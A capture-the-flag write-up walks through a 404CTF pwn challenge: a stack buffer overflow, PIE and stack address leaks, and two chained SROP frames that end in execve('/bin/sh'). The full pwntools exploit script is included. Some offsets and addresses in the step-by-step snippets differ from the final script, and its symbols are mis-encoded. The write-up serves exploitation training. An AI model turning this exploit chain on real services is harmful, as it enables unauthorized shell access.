TL;DR
Buffer overflow + limited gadgets = SROP time! Leak addresses β chain two Sigreturn-Oriented Programming attacks β first SROP calls read(), second calls execve("/bin/sh") β shell! π
Challenge Files: chall (ELF binary)
Note: There might be simpler approaches, but this SROP method worked great. If you spot improvements, feel free to share! π
Challenge Overview
We’re given a 64-bit ELF binary that implements custom syscall wrappers and has a juicy buffer overflow vulnerability.
Binary Protections
$ checksec chall
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Debuginfo: Yes
What this means:
- β NX enabled - Stack not executable, no shellcode on stack
- β PIE enabled - Addresses randomized, need to leak
- β No canary - Buffer overflows won’t be caught
- β οΈ Partial RELRO - GOT is writable (but we won’t need it)
Source Code Analysis
Custom Syscall Wrappers
The binary implements its own syscalls using inline assembly:
void read(int fd, char* s, int count) {
register int arg1 asm("rdi") = fd;
register char* arg2 asm("rsi") = (char*)s;
register int arg3 asm("rdx") = count;
register int syscall_no asm("rax") = 0;
asm("syscall");
}
This is important because it means we have a nice syscall gadget available!
The Vulnerability: Buffer Overflow
In main(), we find the bug:
char boucle[4] = "\x01"; // Loop control variable
char decisions[0x14]; // Buffer: only 20 bytes!
while (boucle[0]) {
puts("Que comptez vous faire ?\n");
puts(">> ");
read(0, decisions, 0x18 + 22); // Reads 44 bytes into 20-byte buffer!
// ...
}
The problem: read() accepts 0x18 + 22 = 0x2C (44 bytes) into a buffer of only 0x14 (20 bytes). We can overwrite:
- The
decisionsbuffer - The
bouclevariable (to exit the loop) - The saved RBP
- The return address of
main()
Exploitation Strategy
Step 1: Leak PIE Base
By sending exactly 16 bytes of padding, we overflow past the buffer without null terminators, allowing us to leak adjacent addresses:
def leak_pie(io):
payload = b'\x3a' * 16
io.sendlineafter(b'>>', payload)
io.recvuntil(b'\x3a' * 16)
leak = io.recv(6)
leak = u64(leak.ljust(8, b'\x00'))
exe.address = leak - 0x40a
log.info(f"PIE: {hex(exe.address)}")
Step 2: Leak Stack Address
Same technique with 31 bytes of padding:
def leak_stack(io):
payload = b'A' * 31
io.sendlineafter(b'>>', payload)
io.recvuntil(b'A' * 31 + b'\x0a')
leak = io.recv(6)
leak = u64(leak.ljust(8, b'\x00'))
log.info(f"Stack: {hex(leak)}")
return leak
Step 3: Control RIP and Exit Loop (In Two Steps)
Problem: A full payload would be too large to send in one buffer overflow.
Solution: We split it into two stages!
Step 3a: Overwrite Return Address
First payload - overwrite the return address without touching boucle[0]:
# First payload: control return address
payload = b'A' * 32 # Padding to saved rbp
payload += p64(stack - 0x20) # Saved RBP
payload += p64(read) # Return address -> read()
io.sendafter(b'>>', payload)
The loop continues because boucle[0] is still \x01.
Step 3b: Exit the Loop
Second payload - overwrite boucle[0] to exit:
# Second payload: set boucle[0] = 0 to exit loop
payload = p64(stack - 0x20) # Saved RBP (rewrite cleanly)
payload += p32(0x1000) # Padding
payload += p32(0x0) # Padding
payload += b'A' * 12 # Padding
payload += b'\x00' # boucle[0] = 0 β Exit loop!
io.sendafter(b'>>', payload)
Now boucle[0] == 0, the while (boucle[0]) condition fails, and main() returns to… read()! π―
Step 4: SROP - What Is It?
Sigreturn-Oriented Programming (SROP) exploits the rt_sigreturn syscall (number 15 / 0xf). This syscall is used by the kernel to restore a process’s context after a signal handler finishes.
How it works:
- When a signal handler completes, the kernel restores ALL registers from a
sigcontextstructure on the stack - By forging this structure, we control ALL registers (RIP, RAX, RDI, RSI, RDX, etc.)
Advantages:
- Set all registers with a single
syscallgadget - Perfect when few ROP gadgets are available
- Ideal for calling complex syscalls like
execve
Why SROP here?
- We have a
syscallgadget - Limited ROP gadgets available
- Can fully control the stack
- Perfect for chaining multiple syscalls!
Step 5: First read() - Setup for SROP
Key point: After exiting main(), we redirect to read(). This first read() call doesn’t execute SROP yet - it receives our ROP chain + sigreturn frame!
To trigger rt_sigreturn, we need RAX = 0xf. How?
We use this gadget:
0x32f: mov eax, dword ptr [rbp - 8]; pop rbp; ret
Strategy:
- Send a payload via
read()containing0xfat a specific location - Use
pop rbpto pointrbpto that location - Use
mov eax, [rbp-8]to load0xfintoeax - Call
syscallβ Triggersrt_sigreturn!
Here’s the ROP chain sent via the first read():
syscall = exe.address + 0x0000000000000386
mov_eax = exe.address + 0x000000000000032f # mov eax, [rbp-8]; pop rbp; ret
pop_rbp = exe.address + 0x0000000000000332
payload = b''
payload += p64(pop_rbp) # Gadget: pop rbp; ret
payload += p64(stack) # New rbp value
payload += p64(mov_eax) # Gadget: mov eax, [rbp-8]; pop rbp; ret
payload += b'A' * 8 # Padding (popped into rbp)
payload += p64(syscall) # Call syscall (rt_sigreturn because rax=0xf)
frame = SigreturnFrame()
frame.rax = 0 # Syscall read
frame.rdi = 0 # fd = stdin
frame.rsi = stack+0x100 # buffer on stack
frame.rdx = 0x200 # count
frame.rip = syscall # After sigreturn, execute syscall
frame.rsp = stack + 0x150 # New stack pointer
# CRUCIAL: Place 0xf where mov eax, [rbp-8] will read it
io.sendline(b'A' * 5 + p64(0xf) + b'A' * 8 + payload + bytes(frame))
Execution flow:
- pop rbp:
rbp = stack(we control rbp) - mov eax, [rbp-8]: Reads value at
stack - 8, which contains0xf! βeax = 0xf - pop rbp: Clean up the stack
- syscall: With
rax = 0xfβ Triggers rt_sigreturn! - Kernel restores ALL registers from our forged
SigreturnFrame - RIP becomes
syscallwith registers set forread(0, stack+0x100, 0x200)
Result after first rt_sigreturn:
- RAX = 0 (syscall read)
- RDI = 0 (stdin)
- RSI = buffer address on stack
- RDX = 0x200 (size)
- RIP points to
syscall
β The read() syscall executes and waits for our second input!
Step 6: Second read() β Second SROP - Call execve
Now that we have a second read() active, we repeat the exact same process to trigger a second rt_sigreturn, this time to call execve("/bin/sh", NULL, NULL):
payload2 = b''
payload2 += p64(pop_rbp)
payload2 += p64(stack)
payload2 += p64(mov_eax)
payload2 += b'A' * 8
payload2 += p64(syscall)
frame2 = SigreturnFrame()
frame2.rax = 59 # Syscall execve
frame2.rdi = stack+0x139 # Pointer to "/bin/sh"
frame2.rsi = 0 # argv = NULL
frame2.rdx = 0 # envp = NULL
frame2.rip = syscall # Execute syscall
frame2.rsp = stack + 0x4000 # New stack
# Place "/bin/sh\x00" at the start, then ROP chain and frame
io.sendline(b'/bin/sh\x00' + b'A' * 23 + payload2 + bytes(frame2))
Final state before syscall:
RAX = 0x3b (59 = execve)
RDI = address of "/bin/sh"
RSI = 0
RDX = 0
RIP = syscall
β execve("/bin/sh", NULL, NULL) executes and we get a shell! π
Gadgets Used
syscall: 0x386 # syscall; nop; pop rbp; ret
read: 0x377 # Complete read function
mov_eax: 0x32f # mov eax, [rbp-8]; pop rbp; ret
pop_rbp: 0x332 # pop rbp; ret
Attack Flow Summary
1. Leak PIE + Stack addresses
β
2. Buffer overflow #1 β Overwrite RIP = read() (loop continues)
β
3. Buffer overflow #2 β Overwrite boucle[0] = 0 (exit loop)
β
4. main() returns to read()
β
5. First read() active
β
6. Send: [0xf] + [ROP chain] + [SigreturnFrame #1]
- ROP: pop rbp; mov eax, [rbp-8] (loads 0xf); syscall
β
7. rt_sigreturn #1 restores registers for read(0, stack+0x150, 0x200)
β
8. Second read() active
β
9. Send: ["/bin/sh\x00"] + [ROP chain] + [SigreturnFrame #2]
- ROP: same technique to load 0xf; syscall
β
10. rt_sigreturn #2 restores registers for execve("/bin/sh", NULL, NULL)
β
11. Shell! π
Key insight: We split the attack into two payloads to bypass buffer size limits. Each SROP uses the mov eax, [rbp-8] gadget to load 0xf into rax before calling syscall, because 0xf is the syscall number for rt_sigreturn.
Complete Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall")
context.binary = exe
def conn():
if args.GDB:
r = process([exe.path])
gdb.attach(r, gdbscript='b *main+174\nc')
elif args.REMOTE:
return remote("127.0.0.1", 1337)
else:
return process([exe.path])
def leak_pie(io):
payload = b'\x3a' * 16
io.sendlineafter(b'>>', payload)
io.recvuntil(b'\x3a' * 16)
leak = u64(io.recv(6).ljust(8, b'\x00'))
exe.address = leak - 0x40a
log.info(f"PIE: {hex(exe.address)}")
def leak_stack(io):
payload = b'A' * 31
io.sendlineafter(b'>>', payload)
io.recvuntil(b'A' * 31 + b'\x0a')
leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f"Stack: {hex(leak)}")
return leak
def main():
io = conn()
leak_pie(io)
stack = leak_stack(io)
# Gadgets
syscall = exe.address + 0x386
read = exe.address + 0x376
mov_eax = exe.address + 0x32f
pop_rbp = exe.address + 0x332
# Step 3a: Overwrite return address (without exiting loop)
payload = b'A' * 32 + p64(stack - 0x20) + p64(read)
io.sendafter(b'>>', payload)
# Step 3b: Exit loop by overwriting boucle[0]
payload = p64(stack - 0x20) + p32(0x1000) + p32(0x0) + b'A' * 12 + b'\x00'
io.sendafter(b'>>', payload)
# First SROP: setup read()
rop1 = p64(pop_rbp) + p64(stack) + p64(mov_eax) + b'A' * 8 + p64(syscall)
frame1 = SigreturnFrame()
frame1.rax = 0
frame1.rdi = 0
frame1.rsi = stack + 0x150
frame1.rdx = 0x200
frame1.rip = syscall
frame1.rsp = stack + 0x150
io.sendline(b'A' * 5 + p64(0xf) + b'A' * 8 + rop1 + bytes(frame1))
# Second SROP: execve("/bin/sh")
rop2 = p64(pop_rbp) + p64(stack) + p64(mov_eax) + b'A' * 8 + p64(syscall)
frame2 = SigreturnFrame()
frame2.rax = 59
frame2.rdi = stack + 0x150 # Address of "/bin/sh"
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall
frame2.rsp = stack + 0x4000
io.sendline(b'/bin/sh\x00' + rop2 + bytes(frame2))
io.interactive()
if __name__ == "__main__":
main()
Lessons Learned
Exploitation techniques:
-
SROP (Sigreturn-Oriented Programming) - Exploit
rt_sigreturnto control ALL registers with minimal gadgets. Perfect when traditional ROP chains are difficult. -
PIE + stack leaks - Even with PIE enabled, partial overwrites can leak addresses from adjacent stack/binary data.
-
Loop control manipulation - By carefully controlling which bytes to overwrite and when, we can exit loops at the right moment to trigger our exploit.
-
Multiple buffer overflows - Sometimes one overflow isn’t enough. Chain multiple overflows for different purposes (leak β control RIP β exit loop).
Key insight: SROP is incredibly powerful when you have a syscall gadget and stack control. It lets you call ANY syscall with ANY arguments using just one gadget! πͺ
Flag: 404CTF{14,3_M1lL1ardS_d'AnnΓe$_Plu$_7ARd...}
Made with β and pwntools - 22 bytes was just enough!